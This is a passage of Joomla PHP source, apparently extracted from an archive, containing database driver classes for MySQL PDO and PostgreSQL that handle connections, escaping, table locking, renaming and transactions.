return $tables;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLES ' . $this->quoteName($table)
. ' WRITE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by MySQL.
* @param string $prefix Not used by MySQL.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME TABLE ' .
$this->quoteName($oldTable) . ' TO ' .
$this->quoteName($newTable));
$this->execute();
return $this;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* Oracle escaping reference:
*
http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F
*
* SQLite escaping notes:
* http://www.sqlite.org/faq.html#q14
*
* Method body is as implemented by the Zend Framework
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.4
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = substr($this->connection->quote($text), 1, -1);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('UNLOCK TABLES')->execute();
return $this;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
parent::transactionStart($asSavepoint);
}
else
{
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
}
/**
* Internal function to check if profiling is available.
*
* @return boolean
*
* @since 3.9.1
*/
private function hasProfiling()
{
$result = $this->setQuery("SHOW VARIABLES LIKE
'have_profiling'")->loadAssoc();
return isset($result);
}
}
PKHn�[��ggdatabase/driver/pgsql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL PDO Database Driver
*
* @link https://www.php.net/manual/en/ref.pdo-mysql.php
* @since 3.9.0
*/
class JDatabaseDriverPgsql extends JDatabaseDriverPdo
{
/**
* The database driver name
*
* @var string
* @since 3.9.0
*/
public $name = 'pgsql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.9.0
*/
protected $nameQuote = '"';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.9.0
*/
protected $nullDate = '1970-01-01 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.9.0
*/
protected static $dbMinimum = '8.3.18';
/**
* Operator used for concatenation
*
* @var string
* @since 3.9.0
*/
protected $concat_operator = '||';
/**
* Database object constructor
*
* @param array $options List of options used to configure the
connection
*
* @since 3.9.0
*/
public function __construct($options)
{
$options['driver'] = 'pgsql';
$options['host'] = isset($options['host']) ?
$options['host'] : 'localhost';
$options['user'] = isset($options['user']) ?
$options['user'] : '';
$options['password'] = isset($options['password']) ?
$options['password'] : '';
$options['database'] = isset($options['database']) ?
$options['database'] : '';
$options['port'] = isset($options['port']) ?
$options['port'] : null;
// Finalize initialization
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function connect()
{
if ($this->getConnection())
{
return;
}
parent::connect();
$this->setQuery('SET standard_conforming_strings =
off')->execute();
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return boolean true
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $this->quoteName($tableName))->execute();
return true;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getCollation()
{
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Method to get the database connection collation in use by sampling a
text field of a table in the database.
*
* @return mixed The collation in use by the database connection
(string) or boolean false if not supported.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getConnectionCollation()
{
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Internal function to get the name of the default schema for the current
PostgreSQL connection.
* That is the schema where tables are created by Joomla.
*
* @return string
*
* @since 3.9.24
*/
private function getDefaultSchema()
{
// Supported since PostgreSQL 7.3
$this->setQuery('SELECT (current_schemas(false))[1]');
return $this->loadResult();
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by PostgreSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return string An empty string because this function is not supported
by PostgreSQL.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableCreate($tables)
{
return '';
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
$tableSub = $this->replacePrefix($table);
$defaultSchema = $this->getDefaultSchema();
$this->setQuery('
SELECT a.attname AS "column_name",
pg_catalog.format_type(a.atttypid, a.atttypmod) as "type",
CASE WHEN a.attnotnull IS TRUE
THEN \'NO\'
ELSE \'YES\'
END AS "null",
CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT
NULL
THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true)
END as "Default",
CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL
THEN \'\'
ELSE pg_catalog.col_description(a.attrelid, a.attnum)
END AS "comments"
FROM pg_catalog.pg_attribute a
LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND
a.attnum=adef.adnum
LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid
WHERE a.attrelid =
(SELECT oid FROM pg_catalog.pg_class WHERE relname=' .
$this->quote($tableSub) . '
AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE
nspname = ' . $this->quote($defaultSchema) . ')
)
AND a.attnum > 0 AND NOT a.attisdropped
ORDER BY a.attnum'
);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->column_name] = preg_replace('/[(0-9)]/',
'', $field->type);
}
}
else
{
foreach ($fields as $field)
{
if (stristr(strtolower($field->type), 'character
varying'))
{
$field->Default = '';
}
if (stristr(strtolower($field->type), 'text'))
{
$field->Default = '';
}
// Do some dirty translation to MySQL output.
// @todo: Come up with and implement a standard across databases.
$result[$field->column_name] = (object) array(
'column_name' => $field->column_name,
'type' => $field->type,
'null' => $field->null,
'Default' => $field->Default,
'comments' => '',
'Field' => $field->column_name,
'Type' => $field->type,
'Null' => $field->null,
// @todo: Improve query above to return primary key info as well
// 'Key' => ($field->PK == '1' ?
'PRI' : '')
);
}
}
// Change Postgresql's NULL::* type with PHP's null one
foreach ($fields as $field)
{
if (preg_match('/^NULL::*/', $field->Default))
{
$field->Default = null;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList, true))
{
// Get the details columns information.
$this->setQuery('
SELECT indexname AS "idxName", indisprimary AS
"isPrimary", indisunique AS "isUnique",
CASE WHEN indisprimary = true THEN
( SELECT \'ALTER TABLE \' || tablename || \' ADD
\' || pg_catalog.pg_get_constraintdef(const.oid, true)
FROM pg_constraint AS const WHERE const.conname=
pgClassFirst.relname )
ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true)
END AS "Query"
FROM pg_indexes
LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname
LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid
WHERE tablename=' . $this->quote($table) . ' ORDER BY
indkey'
);
return $this->loadObjectList();
}
return false;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableList()
{
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type = ' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ')')
->order('table_name ASC');
$this->setQuery($query);
return $this->loadColumn();
}
/**
* Get the details list of sequences for a table.
*
* @param string $table The name of the table.
*
* @return array An array of sequences specification for the table.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function getTableSequences($table)
{
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList, true))
{
$name = array(
's.relname', 'n.nspname', 't.relname',
'a.attname', 'info.data_type',
'info.minimum_value', 'info.maximum_value',
'info.increment', 'info.cycle_option'
);
$as = array('sequence', 'schema', 'table',
'column', 'data_type', 'minimum_value',
'maximum_value', 'increment',
'cycle_option');
if (version_compare($this->getVersion(), '9.1.0') >= 0)
{
$name[] .= 'info.start_value';
$as[] .= 'start_value';
}
// Get the details columns information.
$query = $this->getQuery(true)
->select($this->quoteName($name, $as))
->from('pg_class AS s')
->leftJoin("pg_depend d ON d.objid = s.oid AND d.classid =
'pg_class'::regclass AND d.refclassid =
'pg_class'::regclass")
->leftJoin('pg_class t ON t.oid = d.refobjid')
->leftJoin('pg_namespace n ON n.oid = t.relnamespace')
->leftJoin('pg_attribute a ON a.attrelid = t.oid AND a.attnum =
d.refobjsubid')
->leftJoin('information_schema.sequences AS info ON
info.sequence_name = s.relname')
->where('s.relkind = ' . $this->quote('S') .
' AND d.deptype = ' . $this->quote('a') . ' AND
t.relname = ' . $this->quote($table));
$this->setQuery($query);
return $this->loadObjectList();
}
return false;
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
* @return JDatabaseDriverPgsql Returns this object to support chaining.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function lockTable($tableName)
{
$this->transactionStart();
$this->setQuery('LOCK TABLE ' .
$this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE
MODE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by PostgreSQL.
* @param string $prefix Not used by PostgreSQL.
*
* @return JDatabaseDriverPgsql Returns this object to support chaining.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
// Origin Table does not exist
if (!in_array($oldTable, $tableList, true))
{
// Origin Table not found
throw new \RuntimeException('Table not found in Postgresql
database.');
}
// Rename indexes
$subQuery = $this->getQuery(true)
->select('indexrelid')
->from('pg_index, pg_class')
->where('pg_class.relname = ' . $this->quote($oldTable))
->where('pg_class.oid = pg_index.indrelid');
$this->setQuery(
$this->getQuery(true)
->select('relname')
->from('pg_class')
->where('oid IN (' . (string) $subQuery . ')')
);
$oldIndexes = $this->loadColumn();
foreach ($oldIndexes as $oldIndex)
{
$changedIdxName = str_replace($oldTable, $newTable, $oldIndex);
$this->setQuery('ALTER INDEX ' .
$this->escape($oldIndex) . ' RENAME TO ' .
$this->escape($changedIdxName))->execute();
}
// Rename sequences
$subQuery = $this->getQuery(true)
->select('oid')
->from('pg_namespace')
->where('nspname NOT LIKE ' .
$this->quote('pg_%'))
->where('nspname != ' .
$this->quote('information_schema'));
$this->setQuery(
$this->getQuery(true)
->select('relname')
->from('pg_class')
->where('relkind = ' . $this->quote('S'))
->where('relnamespace IN (' . (string) $subQuery .
')')
->where('relname LIKE ' .
$this->quote("%$oldTable%"))
);
$oldSequences = $this->loadColumn();
foreach ($oldSequences as $oldSequence)
{
$changedSequenceName = str_replace($oldTable, $newTable, $oldSequence);
$this->setQuery('ALTER SEQUENCE ' .
$this->escape($oldSequence) . ' RENAME TO ' .
$this->escape($changedSequenceName))->execute();
}
// Rename table
$this->setQuery('ALTER TABLE ' . $this->escape($oldTable)
. ' RENAME TO ' . $this->escape($newTable))->execute();
return true;
}
/**
* This function return a field value as a prepared string to be used in a
SQL statement.
*
* @param array $columns Array of table's column returned by
::getTableColumns.
* @param string $fieldName The table field's name.
* @param string $fieldValue The variable value to quote and return.
*
* @return string The quoted string.
*
* @since 3.9.0
*/
public function sqlValue($columns, $fieldName, $fieldValue)
{
switch ($columns[$fieldName])
{
case 'boolean':
$val = 'NULL';
if ($fieldValue === 't' || $fieldValue === true ||
$fieldValue === 1 || $fieldValue === '1')
{
$val = 'TRUE';
}
elseif ($fieldValue === 'f' || $fieldValue === false ||
$fieldValue === 0 || $fieldValue === '0')
{
$val = 'FALSE';
}
break;
case 'bigint':
case 'bigserial':
case 'integer':
case 'money':
case 'numeric':
case 'real':
case 'smallint':
case 'serial':
case 'numeric,':
$val = $fieldValue === '' ? 'NULL' : $fieldValue;
break;
case 'date':
case 'timestamp without time zone':
if (empty($fieldValue))
{
$fieldValue = $this->getNullDate();
}
$val = $this->quote($fieldValue);
break;
default:
$val = $this->quote($fieldValue);
break;
}
return $val;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($savepoint))->execute();
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$columns = $this->getTableColumns($table);
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Skip columns that don't exist in the table.
if (!array_key_exists($k, $columns))
{
continue;
}
// Only process non-null scalars.
if (is_array($v) || is_object($v) || $v === null)
{
continue;
}
// Ignore any internal fields or primary keys with value 0.
if (($k[0] === '_') || ($k == $key && (($v === 0) ||
($v === '0'))))
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->sqlValue($columns, $k, $v);
}
// Create the base insert statement.
$query = $this->getQuery(true);
$query->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
$retVal = false;
if ($key)
{
$query->returning($key);
// Set the query and execute the insert.
$this->setQuery($query);
$id = $this->loadResult();
if ($id)
{
$object->$key = $id;
$retVal = true;
}
}
else
{
// Set the query and execute the insert.
$this->setQuery($query);
if ($this->execute())
{
$retVal = true;
}
}
return $retVal;
}
/**
* Test to see if the PostgreSQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.9.0
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('pgsql', PDO::getAvailableDrivers(), true);
}
/**
* Returns an array containing database's table list.
*
* @return array The database's table list.
*
* @since 3.9.0
*/
public function showTables()
{
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type=' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ' )');
$this->setQuery($query);
return $this->loadColumn();
}
/**
* Get the substring position inside a string
*
* @param string $substring The string being sought
* @param string $string The string/column being searched
*
* @return integer The position of $substring in $string
*
* @since 3.9.0
*/
public function getStringPositionSql($substring, $string)
{
$this->setQuery("SELECT POSITION($substring IN $string)");
$position = $this->loadRow();
return $position['position'];
}
/**
* Generate a random value
*
* @return float The random generated number
*
* @since 3.9.0
*/
public function getRandom()
{
$this->setQuery('SELECT RANDOM()');
$random = $this->loadAssoc();
return $random['random'];
}
/**
* Get the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 3.9.0
*/
public function getAlterDbCharacterSet($dbName)
{
return 'ALTER DATABASE ' . $this->quoteName($dbName) .
' SET CLIENT_ENCODING TO ' . $this->quote('UTF8');
}
/**
* Get the query string to create new Database in correct PostgreSQL
syntax.
*
* @param object $options object coming from "initialise"
function to pass user and database name to database driver.
* @param boolean $utf True if the database supports the UTF-8
character set, not used in PostgreSQL "CREATE DATABASE" query.
*
* @return string The query that creates database, owned by
$options['user']
*
* @since 3.9.0
*/
public function getCreateDbQuery($options, $utf)
{
$query = 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' OWNER ' .
$this->quoteName($options->db_user);
if ($utf)
{
$query .= ' ENCODING ' . $this->quote('UTF-8');
}
return $query;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
<var>tablePrefix</var> class variable.
*
* @param string $sql The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 3.9.0
*/
public function replacePrefix($sql, $prefix = '#__')
{
$sql = trim($sql);
if (strpos($sql, '\''))
{
// Sequence name quoted with ' ' but need to be replaced
if (strpos($sql, 'currval'))
{
$sql = explode('currval', $sql);
for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax;
$nIndex += 2)
{
$sql[$nIndex] = str_replace($prefix, $this->tablePrefix,
$sql[$nIndex]);
}
$sql = implode('currval', $sql);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($sql, 'nextval'))
{
$sql = explode('nextval', $sql);
for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax;
$nIndex += 2)
{
$sql[$nIndex] = str_replace($prefix, $this->tablePrefix,
$sql[$nIndex]);
}
$sql = implode('nextval', $sql);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($sql, 'setval'))
{
$sql = explode('setval', $sql);
for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax;
$nIndex += 2)
{
$sql[$nIndex] = str_replace($prefix, $this->tablePrefix,
$sql[$nIndex]);
}
$sql = implode('setval', $sql);
}
$explodedQuery = explode('\'', $sql);
for ($nIndex = 0, $nIndexMax = count($explodedQuery); $nIndex <
$nIndexMax; $nIndex += 2)
{
if (strpos($explodedQuery[$nIndex], $prefix))
{
$explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix,
$explodedQuery[$nIndex]);
}
}
$replacedQuery = implode('\'', $explodedQuery);
}
else
{
$replacedQuery = str_replace($prefix, $this->tablePrefix, $sql);
}
return $replacedQuery;
}
/**
* Unlocks tables in the database, this command does not exist in
PostgreSQL, it is automatically done on commit or rollback.
*
* @return JDatabaseDriverPgsql Returns this object to support chaining.
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function unlockTables()
{
$this->transactionCommit();
return $this;
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to update.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param array $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean
*
* @since 3.9.0
* @throws \RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$columns = $this->getTableColumns($table);
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Skip columns that don't exist in the table.
if (! array_key_exists($k, $columns))
{
continue;
}
// Only process scalars that are not internal fields.
if (is_array($v) || is_object($v) || $k[0] === '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key, true))
{
$key_val = $this->sqlValue($columns, $k, $v);
$where[] = $this->quoteName($k) . '=' . $key_val;
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we do not want to update nulls then ignore
this field.
if (!$nulls)
{
continue;
}
// If the value is null and we want to update nulls then set it.
$val = 'NULL';
}
else
// The field is not null so we prep it for update.
{
$val = $this->sqlValue($columns, $k, $v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
return "decode('" . bin2hex($data) . "',
'hex')";
}
}
PKHn�[�t�֠֠database/driver/postgresql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL database driver
*
* @since 3.0.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseDriverPostgresql extends JDatabaseDriver
{
/**
* The database driver name
*
* @var string
* @since 3.0.0
*/
public $name = 'postgresql';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'postgresql';
/**
* Quote for named objects
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '"';
/**
* The null/zero date string
*
* @var string
* @since 3.0.0
*/
protected $nullDate = '1970-01-01 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.0.0
*/
protected static $dbMinimum = '8.3.18';
/**
* Operator used for concatenation
*
* @var string
* @since 3.0.0
*/
protected $concat_operator = '||';
/**
* JDatabaseDriverPostgresqlQuery object returned by getQuery
*
* @var JDatabaseQueryPostgresql
* @since 3.0.0
*/
protected $queryObject = null;
/**
* Database object constructor
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['port'] = (isset($options['port'])) ?
$options['port'] : null;
// Finalize initialization
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the postgresql extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('The pgsql extension for
PHP is not installed or enabled.');
}
/*
* pg_connect() takes the port as separate argument. Therefore, we
* have to extract it from the host string (if provided).
*/
// Check for empty port
if (!$this->options['port'])
{
// Port is empty or not set via options, check for port annotation (:)
in the host string
$tmp = substr(strstr($this->options['host'],
':'), 1);
if (!empty($tmp))
{
// Get the port number
if (is_numeric($tmp))
{
$this->options['port'] = $tmp;
}
// Extract the host name
$this->options['host'] =
substr($this->options['host'], 0,
strlen($this->options['host']) - (strlen($tmp) + 1));
// This will take care of the following notation: ":5432"
if ($this->options['host'] === '')
{
$this->options['host'] = 'localhost';
}
}
// No port annotation (:) found, setting port to default PostgreSQL port
5432
else
{
$this->options['port'] = '5432';
}
}
// Build the DSN for the connection.
$dsn = '';
if (!empty($this->options['host']))
{
$dsn .= "host={$this->options['host']}
port={$this->options['port']} ";
}
$dsn .= "dbname={$this->options['database']}
user={$this->options['user']}
password={$this->options['password']}";
// Attempt to connect to the server.
if (!($this->connection = @pg_connect($dsn)))
{
throw new JDatabaseExceptionConnecting('Error connecting to PGSQL
database.');
}
pg_set_error_verbosity($this->connection, PGSQL_ERRORS_DEFAULT);
pg_query($this->connection, 'SET
standard_conforming_strings=off');
pg_query($this->connection, 'SET
escape_string_warning=off');
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
pg_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = pg_escape_string($this->connection, $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the PostgreSQL connector is available
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function test()
{
return function_exists('pg_connect');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean
*
* @since 3.0.0
*/
public function connected()
{
$this->connect();
if (is_resource($this->connection))
{
return pg_ping($this->connection);
}
return false;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return boolean
*
* @since 3.0.0
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $this->quoteName($tableName));
$this->execute();
return true;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows in the previous operation
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return pg_affected_rows($this->cursor);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return pg_client_encoding($this->connection);
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE
or DELETE query, use getAffectedRows().
*
* @param resource $cur An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cur = null)
{
$this->connect();
